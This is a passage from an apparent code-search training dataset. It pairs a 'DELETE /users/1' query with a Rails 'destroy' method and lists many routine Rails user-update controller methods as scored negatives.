"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to users_path, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: user\n else\n render json: user.errors.full_messages\n end\n end",
"def update\n respond_to do |format|\n if @user.update(form_params)\n format.json { render json: { users: @user }, status: :ok, location: @user }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user.update(user_params)\n respond_with @user\n end",
"def update\n @user = user.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_user\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params(params))\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = get_user(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to root_url, notice: \"User #{@user.login_name} was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n if @user.update(user_params)\n head :no_content\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => t('user.update_success') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { render :json => @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = selected_user\n if @user.update(users_params)\n render 'api/users/show'\n else\n render json: @user.errors.full_messages, status: 422\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user.as_json(user: current_user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.json { head :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to root_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend",
"def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end",
"def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"def update\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n\n respond_to do |format|\n if @user.update(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => \"This user was successfully updated!\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end",
"def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: I18n.t(:users_update) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = ::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to user_path(@user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n @current_user.update(user_params)\n render json: @current_user\n end",
"def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.7225568",
"0.7129473",
"0.70036036",
"0.6903525",
"0.6821961",
"0.68157715",
"0.6708618",
"0.66936064",
"0.66810983",
"0.6673763",
"0.6672601",
"0.6664346",
"0.6664346",
"0.6659468",
"0.6659468",
"0.6654875",
"0.66486204",
"0.66436917",
"0.6641295",
"0.6635214",
"0.6618464",
"0.66153306",
"0.6610267",
"0.6607359",
"0.6583569",
"0.65825915",
"0.65820843",
"0.65801483",
"0.65615994",
"0.6558883",
"0.6558883",
"0.6543664",
"0.6537492",
"0.6515997",
"0.6514648",
"0.65062994",
"0.65054137",
"0.65054137",
"0.65015376",
"0.6468482",
"0.6466442",
"0.64641905",
"0.6453641",
"0.64496416",
"0.6443516",
"0.6441606",
"0.6437562",
"0.6428467",
"0.6428467",
"0.64279026",
"0.6427495",
"0.64269704",
"0.6424723",
"0.6424723",
"0.64239854",
"0.6418606",
"0.64156115",
"0.6411428",
"0.64053625",
"0.6405119",
"0.6398354",
"0.63945407",
"0.6390761",
"0.63903916",
"0.63876307",
"0.6383881",
"0.63834596",
"0.63829523",
"0.6382388",
"0.63776475",
"0.63752687",
"0.6374351",
"0.63735604",
"0.6373269",
"0.6370833",
"0.6363397",
"0.63607967",
"0.6360649",
"0.6356513",
"0.6356091",
"0.6350332",
"0.6342926",
"0.6334242",
"0.6333647",
"0.6328633",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188",
"0.6327188"
] |
0.0
|
-1
|
DELETE /users/1 DELETE /users/1.json
|
def delete
@user = User.find(params[:id])
respond_to do |format|
format.html { redirect_to action: 'new', status: 303 }
format.json { head :no_content }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def DeleteUser id\n \n APICall(path: \"users/#{id}.json\",method: 'DELETE')\n \n end",
"def delete\n render json: User.delete(params[\"id\"])\n end",
"def delete(id)\n request(:delete, \"/users/#{id}.json\")\n end",
"def delete\n render json: Users.delete(params[\"id\"])\n end",
"def delete\n @user.destroy\n respond_to do |format|\n format.html { redirect_to v1_resources_users_all_path, notice: 'User was deleted.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n render json:@user\n end",
"def destroy\n @user = V1::User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to(v1_users_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n \"\"\"\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n \"\"\"\n end",
"def destroy\n debugger\n @user.destroy\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n format.json { head :no_content }\n end",
"def destroy\n user = User.find(params[:id]) # from url, nothing to do with table\n user.destroy\n render json: user\n end",
"def destroy\n @user.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find_by_id_or_username params[:id]\n @user.destroy\n render api_delete @user\n end",
"def destroy\n @user = user.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def delete_user\n @user = User.find(params[:id])\n if @user.destroy\n render :json => @user\n else\n render :json => @user.errors.full_messages\n end\n end",
"def destroy\n @v1_user.destroy\n respond_to do |format|\n format.html { redirect_to v1_users_url, notice: 'User was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n \n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @user = User.find(params[:id])\n @user.destroy\n\n respond_to do |format|\n format.html { redirect_to users_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.78750724",
"0.77518034",
"0.7713981",
"0.7610077",
"0.747295",
"0.74073994",
"0.74073994",
"0.7369968",
"0.7346072",
"0.7340465",
"0.7328618",
"0.7309635",
"0.73095363",
"0.7306841",
"0.7297868",
"0.72917855",
"0.7291585",
"0.7289111",
"0.7284347",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7250935",
"0.7245172",
"0.7242216",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177",
"0.7232177"
] |
0.0
|
-1
|
DELETE /users/1 DELETE /users/1.json
|
def destroy
User.find(params[:id]).destroy
flash[:success] = "User deleted."
redirect_to users_url
end
|
{
"objective": {
